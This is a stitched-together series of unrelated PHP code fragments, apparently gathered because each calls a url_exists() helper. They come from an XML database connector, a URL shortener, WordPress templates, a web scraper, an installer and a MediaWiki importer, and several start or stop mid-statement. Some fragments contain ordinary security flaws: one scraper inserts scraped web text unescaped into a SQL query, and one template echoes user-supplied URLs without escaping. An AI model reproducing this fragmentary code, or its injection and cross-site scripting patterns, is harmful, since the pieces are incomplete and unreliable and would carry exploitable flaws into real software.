function dctl_xmldb_connect($mode = 'query', $persistent = false) { // $persistent = false; // force to check if eXist works fine without pid // $exist = FALSE; require_once str_replace(SYS_PATH_SEP_DOUBLE, SYS_PATH_SEP, dirname(__FILE__) . SYS_PATH_SEP) . '..' . SYS_PATH_SEP . '_shared' . SYS_PATH_SEP . 'exist-api.inc.php'; try { if ($mode == 'admin') { $wsdl_url = XMLDB_HOST . ':' . XMLDB_PORT . '/exist/services/Admin?wsdl'; $u = DCTL_XMLDB_USER_ADMIN; $p = DCTL_XMLDB_PSWD_ADMIN; } else { $wsdl_url = XMLDB_HOST . ':' . XMLDB_PORT . '/exist/services/Query?wsdl'; $u = DCTL_XMLDB_USER; $p = DCTL_XMLDB_PSWD; } $exist = false; if (url_exists($wsdl_url)) { /* if ($mode == 'admin') { */ /* $exist = new existAdmin(DCTL_XMLDB_USER, DCTL_XMLDB_PSWD, $wsdl_url); */ /* } else { */ $exist = new exist($u, $p, $wsdl_url, $persistent); /* }; */ $exist->setDebug(false); $exist->connect($mode); } else { echo '<span class="error">Can\'t find URL {' . $wsdl_url . '}</span><br />'; } } catch (Exception $e) { echo '<span class="error">Can\'t connect to xmldb engine... {' . $e . '}</span><br />'; } return $exist; }
/** * @override */ public function enabled() { return url_exists($this->url); }
$_ERROR[] = "The URL you have entered is not allowed."; } } } if (strlen($alias) > 0) { if (!preg_match("/^[a-zA-Z0-9_-]+\$/", $alias)) { $_ERROR[] = "Custom alias can only contain letters, numbers, underscores and dashes."; } else { if (code_exists($alias) || alias_exists($alias)) { $_ERROR[] = "The custom alias you entered is already exists."; } } } if (count($_ERROR) == 0) { $create = true; if ($url_data = url_exists($url)) { $create = false; $id = $url_data[0]; $code = $url_data[1]; $old_alias = $url_data[2]; if (strlen($alias) > 0) { if ($old_alias != $alias) { $create = true; } } } if ($create) { do { $code = generate_code(get_last_number()); if (!increase_last_number()) { die("System error!");
<?php get_header(); $c = mysql_real_escape_string($_GET[c]); $the_comment = get_comment($_GET[c]); ?> <div id="comments"> <ul class="comment_list"><li> <?php if ($the_comment->comment_approved == '1') { ?> <div class="user"> <div class="author"> <?php $auth_link = $the_comment->comment_author_url; if (url_exists($auth_link)) { ?> Σχόλιο του χρήστη '<strong><a href="<?php echo $auth_link; ?> " target="_blank" rel="nofollow"><?php echo $the_comment->comment_author; ?> </a></strong>' <?php } else { ?> Σχόλιο του χρήστη '<strong><?php echo $the_comment->comment_author; ?> </strong>'
function attachment_exists($attachment_id) { return url_exists(wp_get_attachment_url($attachment_id)); }
<?php include 'funciones.php'; error_reporting(E_ALL); ini_set('display_errors', '1'); $array[0] = array(0 => array('nombre' => 'Edgar', 'apellido' => 'Martinez'), 1 => array('nombre' => 'Yolansa', 'apellido' => 'De Haro'), 2 => array('nombre' => 'Elias', 'apellido' => 'Martinez'), 3 => array('nombre' => 'Eduardo', 'apellido1' => 'Huerta', 'apodo3' => 'lalo', 'apodo4' => 'loco', 'apellido2' => 'Huerta', 'apod5' => 'lalo', 'apellido3' => 'Huerta', 'apodo6' => 'lalo', 'apellido4' => 'Huerta', 'apodo7' => 'lalo', 'apellido5' => 'Huerta', 'apodo8' => 'lalo', 'apellido6' => 'Huerta', 'apodo9' => 'lalo', 'apellido7' => 'Huerta', 'apodo10' => 'lalo', 'apellido8' => 'Huerta', 'apodo11' => 'lalo', 'apellido9' => 'Huerta', 'apodo12' => 'lalo', 'apellido10' => 'Huerta', 'apodo13' => 'lalo', 'apellido11' => 'Huerta', 'apodo14' => 'lalo', 'apellido12' => 'Huerta', 'apodo15' => 'lalo', 'apellido13' => 'Huerta', 'apodo16' => 'lalo', 'apellido4' => 'Huerta', 'apodo17' => 'lalo', 'apellido15' => 'Huerta', 'apodo17' => 'lalo', 'apellido16' => 'Huerta', 'apodo19' => 'lalo')); echo '<pre>'; print_r($array); echo '<pre>'; $data = new Funciones(); $datos = $data->parsea_dos($array); $url = 'http://207.248.56.243//Paulino'; //$url = "http://cybmeta.com/comprobar-en-php-si-existe-un-archivo-o-una-url/"; $urlexists = url_exists($url); if ($urlexists == true) { echo 'Esiste'; } else { echo 'No Existe'; } function url_exists($url = NULL) { if ($url == '' || $url == NULL) { return false; } $headers = @get_headers($url); sscanf($headers[0], 'HTTP/%*d.%*d %d', $httpcode); //Aceptar solo respuesta 200 (Ok), 301 (redirección permanente) o 302 (redirección temporal) $accepted_response = array(200, 301, 302); if (in_array($httpcode, $accepted_response)) { return true; } else {
function dbem_admin_general_script() { echo '<script src="' . DBEM_URI . 'dbem.js" type="text/javascript"></script> <script src="' . DBEM_URI . 'js/jquery-ui-datepicker/ui.datepicker.js" type="text/javascript"></script> <script src="' . DBEM_URI . 'js/timeentry/jquery.timeentry.js" type="text/javascript"></script>'; // Check if the locale is there and loads it $locale_code = substr(get_locale(), 0, 2); $show24Hours = 'true'; // Setting 12 hours format for those countries using it if (preg_match("/en|sk|zh|us|uk/", $locale_code)) { $show24Hours = 'false'; } $locale_file = $jquery_menu = DBEM_URI . "js/jquery-ui-datepicker/"; $locale_file .= (!$locale_code or preg_match("/en/", $locale_code)) ? "ui.datepicker.js" : "i18n/ui.datepicker-{$locale_code}.js"; if (url_exists($locale_file)) { ?> <script src="<?php echo $locale_file; ?> " type="text/javascript"></script> <?php } ?> <style type='text/css' media='all'> @import "<?php echo $jquery_menu; ?> ui.datepicker.css"; </style> <script src="<?php echo DBEM_URI; ?> js/admin.js" type="text/javascript"></script> <?php }
{ $arr = get_headers($url); $str = $arr[4]; $len = substr($str, 16); if ($len > 100) { return true; } else { return false; } } function get_title($id) { require "db.php"; $contents = file_get_contents("http://optyjsb.com/zhaoshengxinxi/show.asp?id=" . $id); $pos = strpos($contents, 'name="description" content="'); $str = substr($contents, $pos + 28); $pos = strpos($str, '">'); $str = substr($str, 0, $pos); $sql = mysql_query("insert into web_news values('" . $str . "','admission','" . $id . "')", $dbh); } for ($i = 1062; $i <= 1090; $i++) { $str = "id=" . $i; if (url_exists("http://optyjsb.com/zhaoshengxinxi/show.asp?id=" . $i)) { get_title($i); $str .= "\t true"; } else { $str .= "\t false"; } $str .= "\n"; echo $str; }
<?php /*------------------------- * Developed by Maicros * modified for hd-box.org * by Mezzo mod by exe * GNU/GPL v2 Licensed * ------------------------*/ $hdbox_repositoy = "http://xtreamer-web-sdk.googlecode.com/svn/trunk/rss/projects/hdbox/"; if (url_exists($hdbox_repositoy . $versionfile)) { $versioninfohost = simplexml_load_file($hdbox_repositoy . $versionfile); } else { $versioninfohost = "0.1.0"; } /* Standardmäßig gibt version_compare() -1 zurück, wenn die erste Version kleiner ist als die zweite, 0, wenn die Versionen gleich sind und 1, wenn die zweite Version kleiner ist. */ //echo " versioninfolocal: $versioninfohost->version versioninfolocal: $versioninfolocal->version \n"; if (isset($_GET["update"]) && "true" == $_GET["update"]) { update($versioninfolocal, $versioninfohost, $hdbox_repositoy); } else { if (0 < version_compare($versioninfohost->version, $versioninfolocal->version)) { // update possible newVersionAvailable($versioninfolocal->version, $versioninfohost->version, $serverquery); } else { nothingNew(); } }
echo " <li><strong>" . ngettext("Alternative abbreviation:", "Alternative abbreviations:", $alias_rows) . " </strong><span class='gray'>{$aliase}</span></li>\n"; } $url_systemsat = "http://system-sat.de/" . str_replace(" ", "_", strtolower($rem_name)) . ".html"; if (!url_exists($url_systemsat)) { $url_systemsat = "http://system-sat.de/" . str_replace(" ", "_", strtolower($rem_name)) . ".htm"; } if (url_exists($url_systemsat) && $lang == "de") { echo " <li><strong>" . _("More informations:") . " </strong><span class='gray'><b>{$rem_name}</b> " . _("at") . " <a href='{$url_systemsat}' target='_blank'>system-sat.de</a>.</span></li>\n"; } if ($lang == "en") { $url_provings_main = "http://www.provings.info/en/substanz/"; } elseif ($lang == "de") { $url_provings_main = "http://www.provings.info/substanz/"; } $url_provings = $url_provings_main . str_replace(".", "", strtolower($rem_short)); if (url_exists($url_provings) && !empty($url_provings_main)) { echo " <li><strong>" . _("Systematics and provings:") . " </strong><span class='gray'><b>{$rem_name}</b> " . _("at") . " <a href='{$url_provings}' target='_blank'>provings.info</a>.</span></li>\n"; } echo " <li><strong>" . _("More links and information:") . " </strong><span class='gray'><b>{$rem_name}</b> " . _("at") . " <a href='http://openhomeo.org/openhomeopath/materia-medica.php?rem={$rem_short}&lang={$lang}' target='_blank'>OpenHomeo.org</a>.</span></li>\n"; echo " </ul>\n"; $query = "SELECT {$materia_tbl}.rem_related, {$materia_tbl}.rem_incomp, {$materia_tbl}.rem_antidot, {$materia_tbl}.rem_note, {$materia_tbl}.rem_description, {$materia_tbl}.src_id, sources.src_title FROM {$materia_tbl}, sources WHERE {$materia_tbl}.rem_id = {$rem_id} AND {$materia_tbl}.src_id = sources.src_id AND ({$materia_tbl}.rem_related != '' || {$materia_tbl}.rem_incomp != '' || {$materia_tbl}.rem_antidot != '' || {$materia_tbl}.rem_note != '' || {$materia_tbl}.rem_description != '') ORDER BY sources.src_title"; $db->send_query($query); $num_rows = $db->db_num_rows(); if ($num_rows > 0) { while ($rem_info = $db->db_fetch_row()) { echo " <br><h3>" . _("Remedy description") . " <span class='source'>(" . _("Source:") . " <em><a href=\"javascript:popup_url('source.php?src={$rem_info['5']}',600,400)\">{$rem_info['6']}</a></em>)</span></h3>\n"; echo " <ul class='blue'>\n"; if (!empty($rem_info[0])) { echo " <li><strong>" . _("related remedies:") . " </strong><span class='gray'>{$rem_info['0']}</span></li>\n"; } if (!empty($rem_info[1])) {
$config_output .= "\r\n"; } //Check MySQL bin path (not required) $mysql_bin_path = sslash(get_post('mysql_bin_path')); if (isset($mysql_bin_path) && $mysql_bin_path != '') { if (!file_exists($mysql_bin_path . '/mysqldump' . $exe_ext)) { $errors['mysqlbinpath'] = true; } else { $config_output .= "\$mysql_bin_path = '{$mysql_bin_path}';\r\n\r\n"; } } //Check baseurl (required) $baseurl = sslash(get_post('baseurl')); if (isset($baseurl) && $baseurl != '' && $baseurl != 'http://my.site/resourcespace' && filter_var($baseurl, FILTER_VALIDATE_URL)) { //Check that the base url seems correct by attempting to fetch the license file if (url_exists($baseurl . '/license.txt')) { $config_output .= "# Base URL of the installation\r\n"; $config_output .= "\$baseurl = '{$baseurl}';\r\n\r\n"; } else { //Under certain circumstances this test may fail, but the URL is still correct, so warn the user. $warnings['baseurlverify'] = true; } } else { $errors['baseurl'] = true; } //Verify email addresses are valid $config_output .= "# Email settings\r\n"; $email_from = get_post('email_from'); if ($email_from != '') { if (filter_var($email_from, FILTER_VALIDATE_EMAIL) && $email_from != '*****@*****.**') { $config_output .= "\$email_from = '{$email_from}';\r\n";
?> <td style="text-align: center"><input name="imagen8" type="checkbox" id="imagen8"value="SI" checked="checked" /></td> <?php } ?> <?php $url = "http://www.grupoinci.com.ar/Image_Upload/" . $propnumber[0] . "-09_thumb.jpg"; if (url_exists($url)) { ?> <td style="text-align: center"><input name="imagen9" type="checkbox" id="imagen9" value="SI" checked="checked" /></td> <?php } ?> <?php $url = "http://www.grupoinci.com.ar/Image_Upload/" . $propnumber[0] . "-10_thumb.jpg"; if (url_exists($url)) { ?> <td style="text-align: center"><input name="imagen10" type="checkbox" id="imagen10" value="SI" checked="checked" /></td> <?php } ?> </tr> </table> </div> <p><strong>Observaciones</strong> (no incluir caracteres del tipo " / ' / ; / )</p> <p>
function do_people_insert($doInterestLookup = false, $forcePerson = '', $force = false) { global $valid_attributes, $states_ary; $dbr = wfGetDB(DB_SLAVE); include_once 'scrape_and_insert.inc.php'; $mvScrape = new MV_BaseScraper(); //get all people from govtrack db ( should not have to do this all the time) $govtrackDB = array(); //avoid duplicating the $govtrackDB array: getGovTrackPeopleDB($govtrackDB); //get all people from the congress people category $result = $dbr->select('categorylinks', 'cl_sortkey', array('cl_to' => 'Congress_Person')); if ($dbr->numRows($result) == 0) { die('could not find people: ' . "\n"); } $out = ''; $person_ary = array(); while ($person = $dbr->fetchObject($result)) { $person_ary[] = $person; } foreach ($person_ary as $person) { $person_name = $person->cl_sortkey; //get person data from wiki: $person_title = Title::newFromText($person_name); $smwStore =& smwfGetStore(); //check for govtrack key in page $propTitle = Title::newFromText('GovTrack Person ID', SMW_NS_PROPERTY); $smwProps = $smwStore->getPropertyValues($person_title, $propTitle); if (count($smwProps) != 0) { $v = current($smwProps); $person->gov_track_id = $v->getXSDValue(); } else { print "person: {$person_name} has no GovTrack Person ID make sure to include this on their page\n"; } if (isset($person->gov_track_id)) { setGovTrackSpecifcAttr($person, $govtrackDB[$person->gov_track_id]); } else { //check for govtrack key in $govtrackDB: foreach ($govtrackDB as $gov_track_person) { if (isset($gov_track_person['metavidid']) && $gov_track_person['metavidid'] == str_replace(' ', '_', $person_name)) { setGovTrackSpecifcAttr($person, $gov_track_person); } } reset($govtrackDB); //did not find metavid id try name test: if (!isset($person->govtrack_id)) { foreach ($govtrackDB as $gov_track_person) { if (isset($gov_track_person['middlename'])) { $gov_name = $gov_track_person['firstname'] . ' ' . substr($gov_track_person['middlename'], 0, 1) . '. ' . $gov_track_person['lastname']; //first check for exact match: if (strtolower($gov_name) == strtolower($person_name)) { setGovTrackSpecifcAttr($person, $gov_track_person); break; } } //else first last check: $nparts = split(' ', $person_name); if (strtolower($gov_track_person['firstname']) == strtolower($nparts[0]) && strtolower($gov_track_person['lastname']) == strtolower($nparts[count($nparts) - 1])) { setGovTrackSpecifcAttr($person, $gov_track_person); break; } } } if (!isset($person->gov_track_id)) { die("\n could not find gov track id for {$person_name} please add manually or remove from Congress_Person category\n "); } } //set the maplight key (not in sunlight api) $propTitle = Title::newFromText('MAPLight Person ID', SMW_NS_PROPERTY); $smwProps = $smwStore->getPropertyValues($person_title, $propTitle); if (count($smwProps) != 0) { $v = current($smwProps); $mapk = $v->getXSDValue(); $person->maplight_id = $v->getXSDValue(); } else { print "person: {$person_name} has no MAPLight Person ID could not lookup with sunlight api?\n"; } //set $person->name_ocr $propTitle = Title::newFromText('Name OCR', SMW_NS_PROPERTY); $smwProps = $smwStore->getPropertyValues($person_title, $propTitle); if (count($smwProps) != 0) { $v = current($smwProps); $person->name_ocr = $v->getXSDValue(); } $page_body = '{{Congress Person|' . "\n"; foreach ($valid_attributes as $dbKey => $attr) { list($name, $desc) = $attr; if ($dbKey == 'gov_track_id') { //we key all to govtrack id make sure its there: $page_body .= "GovTrack Person ID=" . $person->gov_track_id . "|\n"; } elseif ($dbKey == 'total_received') { if (!$mapk) { print 'no mapkey for total_received' . "\n"; } else { $raw_results = $mvScrape->doRequest('http://www.maplight.org/map/us/legislator/' . $mapk); preg_match('/Contributions\\sReceived\\:\\s\\$([^<]*)/', $raw_results, $matches); if (isset($matches[1])) { $page_body .= "{$name}=\$" . $matches[1] . "|\n"; } } } elseif ($dbKey == 'roles') { if ($person->{$dbKey}) { $i = 1; foreach ($person->{$dbKey} as $role) { $page_body .= "Role {$i} Type=" . ucfirst($role['type']) . "|\n"; $page_body .= "Role {$i} Party=" . $role['party'] . "|\n"; $page_body .= "Role {$i} State=" . $role['state'] . "|\n"; $page_body .= "Role {$i} Start Date=" . $role['startdate'] . "|\n"; $page_body .= "Role {$i} End Date=" . $role['enddate'] . "|\n"; $i++; } } } elseif ($dbKey == 'committee') { if (isset($person->{$dbKey})) { $i = 1; foreach ($person->{$dbKey} as $committee) { if (isset($committee['committee'])) { $page_body .= "Committee {$i}= " . $committee['committee'] . "|\n"; } if (isset($committee['subcommittee'])) { $page_body .= "Subcommittee {$i}= " . $committee['subcommittee'] . "|\n"; } if (isset($committee['role'])) { $page_body .= "Committee Role {$i}= " . $committee['role'] . "|\n"; } $i++; } } } elseif ($dbKey == 'contribution_date_range') { if (!$mapk) { print 'out of order attr process missing mapk' . "\n"; } else { $raw_results = $mvScrape->doRequest('http://www.maplight.org/map/us/legislator/' . $mapk); preg_match('/Showing\\scontributions<\\/dt><dd>([^<]*)</', $raw_results, $matches); if (isset($matches[1])) { $page_body .= "{$name}=" . $matches[1] . "|\n"; } } } elseif ($dbKey == 'maplight_id') { if (!$person->{$dbKey}) { // print 'do_maplight_id'."\n"; // try to grab the maplight id $person_lookup = $govtrackDB[$person->gov_track_id]; $raw_results = $mvScrape->doRequest('http://maplight.org/map/us/legislator/search/' . $person_lookup->lastname . '+' . $person->firstname); preg_match_all('/map\\/us\\/legislator\\/([^"]*)">(.*)<\\/a>.*<td>([^<]*)<.*<td>([^<]*)<.*<td>([^<]*)<.*<td>([^<]*)</U', $raw_results, $matches); // do point system for match $point = array(); $title_lookup = array('Rep.' => 'House', 'Sen.' => 'Senate'); if (isset($matches['2'][0])) { foreach ($matches['2'] as $k => $name_html) { if (!isset($point[$k])) { $point[$k] = 0; } list($lname, $fname) = explode(',', trim(strip_tags($name_html))); if (strtolower($person->first) == strtolower($fname)) { $point[$k] += 2; } if (strtolower($person->last) == strtolower($lname)) { $point[$k] += 2; } if ($person_lookup['state'] == $matches['3'][$k]) { $point[$k]++; } if ($person_lookup['district'] == $matches['4'][$k]) { $point[$k]++; } if ($person_lookup['party'] == $matches['5'][$k]) { $point[$k]++; } if (isset($person_lookup['title'])) { if (isset($title_lookup[$person['title']])) { if ($title_lookup[$person['title']] == $matches['6']) { $point[$k]++; } } } } $max = 0; $mapk = null; //print_r($matches); //die; foreach ($point as $k => $v) { if ($v > $max) { $mapk = $matches[1][$k]; $max = $v; } } } } else { $mapk = $person->{$dbKey}; } $page_body .= "{$name}=" . $mapk . "|\n"; } else { //try the $sulightData array if (isset($sulightData[$dbKey])) { $page_body .= $name . '=' . $sulightData[$dbKey] . "| \n"; } else { if (isset($person->{$dbKey})) { if (trim($person->{$dbKey}) != '') { if ($dbKey == 'state') { $person->state = $states_ary[$person->state]; } $page_body .= "{$name}={$person->{$dbKey}}| \n"; } } } } } // if we have the maplight key add in all contributions and process contributers if (!$mapk) { print 'missing mapkey' . "\n"; } else { $raw_results = $mvScrape->doRequest('http://www.maplight.org/map/us/legislator/' . $mapk); preg_match_all('/\\/map\\/us\\/interest\\/([^"]*)">([^<]*)<.*\\$([^\\<]*)</U', $raw_results, $matches); if (isset($matches[1])) { foreach ($matches[1] as $k => $val) { $hr_inx = $k + 1; $page_body .= "Funding Interest {$hr_inx}=" . html_entity_decode($matches[2][$k]) . "|\n"; $page_body .= "Funding Amount {$hr_inx}=\$" . $matches[3][$k] . "|\n"; if ($doInterestLookup) { // make sure the intrest has been processed: do_proc_interest($matches[1][$k], html_entity_decode($matches[2][$k])); } // do_proc_interest('G1100','Chambers of commerce'); } } } // add in the full name attribute: /*$page_body .= "Full Name=" . $person->title . ' ' . $person->first . ' ' . $person->middle . ' ' . $person->last . "| \n";*/ //close: $page_body .= '}}'; // add in basic info to be overwitten by transclude (from /*$full_name = $person->title . ' ' . $person->first . ' ' . $person->middle . ' ' . $person->last; if ( trim( $full_name ) == '' ) $full_name = $person->name_clean; $page_body .= "\n" . 'Person page For <b>' . $full_name . "</b><br />\n";*/ // "Text Spoken By [[Special:MediaSearch/person/{$person->name_clean}|$full_name]] "; do_update_wiki_page($person_title, $page_body, '', $force); //die('only run on first person'."\n"); } foreach ($person_ary as $person) { $person_lookup = $govtrackDB[$person->gov_track_id]; // download/upload all the photos: $imgTitle = Title::makeTitle(NS_IMAGE, $person->cl_sortkey . '.jpg'); // if(!$imgTitle->exists()){ global $wgTmpDirectory; $url = 'http://www.govtrack.us/data/photos/' . $person->gov_track_id . '-100px.jpeg'; //check if url exists: if (!url_exists($url)) { print " no image found for: {$person->cl_sortkey}\n"; continue; } // print $wgTmpDirectory . "\n"; $local_file = tempnam($wgTmpDirectory, 'WEBUPLOAD'); // copy file: # Check if already there existence $image = wfLocalFile($imgTitle); if ($image->exists()) { echo $imgTitle->getDBkey() . " already in the wiki\n"; continue; } for ($ct = 0; $ct < 10; $ct++) { if (!@copy($url, $local_file)) { print "failed to copy {$url} to local_file (tring again) \n"; } else { print "copy success\n"; $ct = 10; } if ($ct == 9) { print 'complete failure' . "\n"; } } # Stash the file echo "Saving " . $imgTitle->getDBkey() . "..."; $image = wfLocalFile($imgTitle); $archive = $image->publish($local_file); if (!$archive->isGood()) { echo "failed.\n"; continue; } echo "importing..."; $comment = 'Image file for [[' . $person->name_clean . ']]'; $license = ''; if ($image->recordUpload($archive, $comment, $license)) { # We're done! echo "done.\n"; } else { echo "failed.\n"; } } }
function getStamp($params) { // iCthumb generator pre-settings include_once JPATH_ROOT . '/media/com_icagenda/scripts/icthumb.php'; $iC_params = JComponentHelper::getParams('com_icagenda'); // Check if GD is enabled on the server if (extension_loaded('gd') && function_exists('gd_info')) { $thumb_generator = $iC_params->get('thumb_generator', 1); } else { $thumb_generator = 0; } $timeformat = '1'; $timeformat = $iC_params->get('timeformat', 1); if ($timeformat == 1) { $lang_time = 'H:i'; } else { $lang_time = 'h:i A'; } // Check if fopen is allowed $fopen = true; $result = ini_get('allow_url_fopen'); if (empty($result)) { $fopen = false; } $this->start($params); // Get the database $db = JFactory::getDbo(); $query = $db->getQuery(true); // Build the query $query->select('e.*, e.place as place_name, c.title as cat_title, c.alias as cat_alias, c.color as cat_color, c.ordering as cat_order ')->from($db->qn('#__icagenda_events') . ' AS e')->leftJoin($db->qn('#__icagenda_category') . ' AS c ON ' . $db->qn('c.id') . ' = ' . $db->qn('e.catid')); // Where State is 'published' $where = $db->qn('e.state') . ' = ' . $db->q('1'); // Where event is 'approved' $where .= ' AND ' . $db->qn('e.approval') . ' = ' . $db->q('0'); // Add filters if (isset($this->filter)) { foreach ($this->filter as $filter) { $where .= $filter; } } // Check Access Levels $user = JFactory::getUser(); $userID = $user->id; $userLevels = $user->getAuthorisedViewLevels(); if (version_compare(JVERSION, '3.0', 'lt')) { $userGroups = $user->getAuthorisedGroups(); } else { $userGroups = $user->groups; } // $user = JFactory::getUser(); // $userLevels = $user->getAuthorisedViewLevels(); $userAccess = implode(', ', $userLevels); if (!in_array('8', $userGroups)) { $where .= ' AND ' . $db->qn('e.access') . ' IN (' . $userAccess . ')'; } // Where $query->where($where); // $query.=' LIMIT 0, 1000'; // Run the query $db->setQuery($query); // Invoke the query $res = $db->loadObjectList(); $days = $this->getDays($this->date_start, 'Y-m-d H:i'); foreach ($res as $r) { // liste dates calendrier if (isset($next)) { $next = $next; } else { $next = ''; } $datemultiplelist = $this->getDatelist($r->dates, $next); $datelist = $datemultiplelist; $AllDates = array(); if (isset($r->weekdays)) { $weekdays = $r->weekdays; } else { $weekdays = ''; } $weekdays = explode(',', $weekdays); $weekdaysarray = array(); foreach ($weekdays as $wed) { array_push($weekdaysarray, $wed); } if (in_array('', $weekdaysarray)) { $arrayWeekDays = array(0, 1, 2, 3, 4, 5, 6); } elseif ($r->weekdays) { $arrayWeekDays = $weekdaysarray; } elseif (in_array('0', $weekdaysarray)) { $arrayWeekDays = $weekdaysarray; } else { $arrayWeekDays = array(0, 1, 2, 3, 4, 5, 6); } $WeeksDays = $arrayWeekDays; // If Single Dates, added to all dates for this event $singledates = unserialize($r->dates); if (isset($datemultiplelist) and $datemultiplelist != NULL and !in_array('0000-00-00 00:00:00', $singledates)) { $AllDates = array_merge($AllDates, $datemultiplelist); } $StDate = date('Y-m-d H:i', $this->mkttime($r->startdate)); $EnDate = date('Y-m-d H:i', $this->mkttime($r->enddate)); $perioddates = $this->getDatesPeriod($StDate, $EnDate); $onlyStDate = ''; if (isset($this->onlyStDate)) { $onlyStDate = $this->onlyStDate; } if (isset($perioddates) and $perioddates != NULL) { if ($onlyStDate == 1) { array_push($AllDates, $StDate); } else { foreach ($perioddates as $Dat) { if (in_array(date('w', strtotime($Dat)), $WeeksDays)) { $SingleDate = date('Y-m-d H:i', $this->mkttime($Dat)); array_push($AllDates, $SingleDate); } } } } rsort($AllDates); //liste dates next $datemlist = $this->getmlist($r->dates, $next); $dateplist = $this->getplist($r->period, $next); if ($dateplist) { $datelistcal = array_merge($datemlist, $dateplist); } else { $datelistcal = $datemlist; } $todaytime = time(); rsort($datelist); rsort($datelistcal); // requête Itemid $lang = JFactory::getLanguage(); $langcur = $lang->getTag(); $langcurrent = $langcur; $noidm = ''; $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id AS idm')->from('#__menu')->where("(link = 'index.php?option=com_icagenda&view=list') AND (published > 0) AND (language = '{$langcurrent}')"); $db->setQuery($query); $idm = $db->loadResult(); $mItemid = $idm; if ($mItemid == NULL) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id AS noidm')->from('#__menu')->where("(link = 'index.php?option=com_icagenda&view=list') AND (published > 0) AND (language = '*')"); $db->setQuery($query); $noidm = $db->loadResult(); $noidm = $noidm; } $nolink = ''; if ($noidm == NULL && $mItemid == NULL) { $nolink = 1; } $iCmenuitem = ''; $iCmenuitem = $params->get('iCmenuitem'); if (is_numeric($iCmenuitem)) { $lien = $iCmenuitem; } else { if ($mItemid == NULL) { $lien = $noidm; } else { $lien = $mItemid; } } $eventnumber = NULL; $eventnumber = $r->id; if ($nolink == 1) { $urlevent = '#'; } else { $urlevent = JRoute::_('index.php?option=com_icagenda&view=list&layout=event&id=' . (int) $eventnumber . '&Itemid=' . (int) $lien); } // Gets Short Description limit, set in global options of the component iCagenda $limit = JComponentHelper::getParams('com_icagenda')->get('ShortDescLimit', '100'); // Html tags removal Global Option (component iCagenda) - Short Description $Filtering_ShortDesc_Global = JComponentHelper::getParams('com_icagenda')->get('Filtering_ShortDesc_Global', ''); $HTMLTags_ShortDesc_Global = JComponentHelper::getParams('com_icagenda')->get('HTMLTags_ShortDesc_Global', array()); // Get Module Option $Filtering_ShortDesc_Local = $this->filtering_shortDesc; /** * START Filtering HTML method */ $limit = is_numeric($limit) ? $limit : false; $descdata = $r->desc; $desc_full = deleteAllBetween('{', '}', $descdata); // Gets length of the short desc, when not filtered $limit_not_filtered = substr($desc_full, 0, $limit); $text_length = strlen($limit_not_filtered); // Gets length of the short desc, after html filtering $limit_filtered = preg_replace('/[\\p{Z}\\s]{2,}/u', ' ', $limit_not_filtered); $limit_filtered = strip_tags($limit_filtered); $text_short_length = strlen($limit_filtered); // Sets Limit + special tags authorized $limit_short = $limit + ($text_length - $text_short_length); // Replaces all authorized html tags with tag strings if (empty($Filtering_ShortDesc_Local) && $Filtering_ShortDesc_Global == '1') { $desc_full = str_replace('+', '@@', $desc_full); $desc_full = in_array('1', $HTMLTags_ShortDesc_Global) ? str_replace('<br>', '+@br@', $desc_full) : $desc_full; $desc_full = in_array('1', $HTMLTags_ShortDesc_Global) ? str_replace('<br/>', '+@br@', $desc_full) : $desc_full; $desc_full = in_array('1', $HTMLTags_ShortDesc_Global) ? str_replace('<br />', '+@br@', $desc_full) : $desc_full; $desc_full = in_array('2', $HTMLTags_ShortDesc_Global) ? str_replace('<b>', '+@b@', $desc_full) : $desc_full; $desc_full = in_array('2', $HTMLTags_ShortDesc_Global) ? str_replace('</b>', '@bc@', $desc_full) : $desc_full; $desc_full = in_array('3', $HTMLTags_ShortDesc_Global) ? str_replace('<strong>', '@strong@', $desc_full) : $desc_full; $desc_full = in_array('3', $HTMLTags_ShortDesc_Global) ? str_replace('</strong>', '@strongc@', $desc_full) : $desc_full; $desc_full = in_array('4', $HTMLTags_ShortDesc_Global) ? str_replace('<i>', '@i@', $desc_full) : $desc_full; $desc_full = in_array('4', $HTMLTags_ShortDesc_Global) ? str_replace('</i>', '@ic@', $desc_full) : $desc_full; $desc_full = in_array('5', $HTMLTags_ShortDesc_Global) ? str_replace('<em>', '@em@', $desc_full) : $desc_full; $desc_full = in_array('5', $HTMLTags_ShortDesc_Global) ? str_replace('</em>', '@emc@', $desc_full) : $desc_full; $desc_full = in_array('6', $HTMLTags_ShortDesc_Global) ? str_replace('<u>', '@u@', $desc_full) : $desc_full; $desc_full = in_array('6', $HTMLTags_ShortDesc_Global) ? str_replace('</u>', '@uc@', $desc_full) : $desc_full; } elseif ($Filtering_ShortDesc_Local == '2' || $Filtering_ShortDesc_Global == '' && empty($Filtering_ShortDesc_Local)) { $desc_full = '@i@' . $desc_full . '@ic@'; $limit_short = $limit_short + 7; } else { $desc_full = $desc_full; } // Removes HTML tags $desc_nohtml = strip_tags($desc_full); // Replaces all sequences of two or more spaces, tabs, and/or line breaks with a single space $desc_nohtml = preg_replace('/[\\p{Z}\\s]{2,}/u', ' ', $desc_nohtml); // Replaces all spaces with a single + $desc_nohtml = str_replace(' ', '+', $desc_nohtml); if (strlen($desc_nohtml) > $limit_short) { // Cuts full description, to get short description $string_cut = substr($desc_nohtml, 0, $limit_short); // Detects last space of the short description $last_space = strrpos($string_cut, '+'); // Cuts the short description after last space $string_ok = substr($string_cut, 0, $last_space); // Counts number of tags converted to string, and returns lenght $nb_br = substr_count($string_ok, '+@br@'); $nb_plus = substr_count($string_ok, '@@'); $nb_bopen = substr_count($string_ok, '@b@'); $nb_bclose = substr_count($string_ok, '@bc@'); $nb_strongopen = substr_count($string_ok, '@strong@'); $nb_strongclose = substr_count($string_ok, '@strongc@'); $nb_iopen = substr_count($string_ok, '@i@'); $nb_iclose = substr_count($string_ok, '@ic@'); $nb_emopen = substr_count($string_ok, '@em@'); $nb_emclose = substr_count($string_ok, '@emc@'); $nb_uopen = substr_count($string_ok, '@u@'); $nb_uclose = substr_count($string_ok, '@uc@'); // Replaces tag strings with html tags $string_ok = str_replace('@br@', '<br />', $string_ok); $string_ok = str_replace('@b@', '<b>', $string_ok); $string_ok = str_replace('@bc@', '</b>', $string_ok); $string_ok = str_replace('@strong@', '<strong>', $string_ok); $string_ok = str_replace('@strongc@', '</strong>', $string_ok); $string_ok = str_replace('@i@', '<i>', $string_ok); $string_ok = str_replace('@ic@', '</i>', $string_ok); $string_ok = str_replace('@em@', '<em>', $string_ok); $string_ok = str_replace('@emc@', '</em>', $string_ok); $string_ok = str_replace('@u@', '<u>', $string_ok); $string_ok 